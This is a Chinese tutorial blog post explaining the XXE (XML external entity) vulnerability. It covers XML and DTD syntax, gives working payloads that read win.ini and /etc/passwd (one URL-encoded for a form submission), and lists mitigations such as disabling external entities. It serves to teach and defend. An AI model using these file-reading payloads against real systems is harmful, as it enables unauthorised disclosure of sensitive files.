XXE外部实体引入漏洞原理及复现

1.简介

XXE (XML 外部实体) 是一种安全漏洞,影响解析 XML 输入的应用程序。该漏洞允许攻击者在 XML 文档中注入外部实体, DTD 可以在 XML 文档中引用外部实体。如果 XML 解析器未正确验证外部实体的内容,攻击者可以利用 XXE 漏洞读取系统的机密数据,或者在恶意 DTD 文件中执行任意代码。

当应用程序未能正确处理传入的 XML 数据或未限制可以处理的实体类型时,XXE 可能发生。因此,攻击者可以构造一个包含外部实体的恶意 XML 文档,该外部实体由脆弱的应用程序处理。

2.XML基本语法

2.1.文档声明

XML 文档必须以一个特殊的声明开头,用于指示 XML 文件的版本和编码。格式如下:

<?xml version="1.0" encoding="UTF-8"?>

2.2.根元素

XML 文档必须有一个根元素,它是整个文档的容器。根元素包含其他元素,并以标签的形式定义。例如:

<root>
...
</root>

2.3.元素

XML 文档中的所有数据都存储在元素中。元素用标签定义,并以开始标签和结束标签的形式表示。例如:

<element>This is a sample element</element>

2.4.属性

元素可以有属性,用于提供有关元素的其他信息。属性以名称/值对的形式出现在元素的开始标签中。例如:

<element attribute="value">This is a sample element</element>

2.5.注释

XML 文档可以包含注释,用于提供有关代码的信息。注释以特殊的标记开头,并以特殊的标记结尾。例如:

<!-- This is a sample comment -->

2.6.CDATA

XML 文档可以包含 CDATA(不被解析的数据)。CDATA 用于包含不需要解析的数据,例如 HTML 或 JavaScript 代码。CDATA 以特殊的标记开头和结尾。例如:

<![CDATA[This is a sample CDATA]]>

2.7.空元素

XML 中的空元素是没有内容的元素。它以特殊的标记表示,例如:

<empty_element />

3.DTD基本语法

3.1.要点

DTD 文档以 <!DOCTYPE 开头,后跟元素的类型和 DTD 文件的位置。

元素定义以 <!ELEMENT 开头,后跟元素的名称和其子元素的描述。

属性定义以 <!ATTLIST 开头,后跟元素的名称和其属性的描述。

元素类型可以是元素的名称、#PCDATA(表示元素中的文本)或其他元素类型的序列。

可以使用通配符(例如 * 和 +)来描述元素出现的次数。

可以使用括号(例如 (A|B))来描述多个元素的选择。

可以使用引用(例如 %name;)来重复使用元素定义。

所有定义必须以分号结尾。

3.2.DTD 示例

<!DOCTYPE book [
<!ELEMENT book (title, author, pages)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT pages (#PCDATA)>
<!ATTLIST book ISBN CDATA #REQUIRED>
]>

4.攻击

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

在可能存在漏洞的点,尝试利用XXE读取win.ini,这里对其做了一个简单的URL编码

%3C%3Fxml+version%3D%221.0%22%3F%3E++%3C%21DOCTYPE+foo+%5B+++++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E+%5D%3E++%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&submit=%E6%8F%90%E4%BA%A4

请添加图片描述

5.防范

  • 禁用 XML 解析器中的外部实体处理
  • 验证传入的 XML 数据,以确保其仅包含允许的实体
  • 使用安全的库和 API 处理 XML 数据
  • 实施适当的输入验证,防止恶意的 XML 输入
XML外部实体注入漏洞XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全的XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值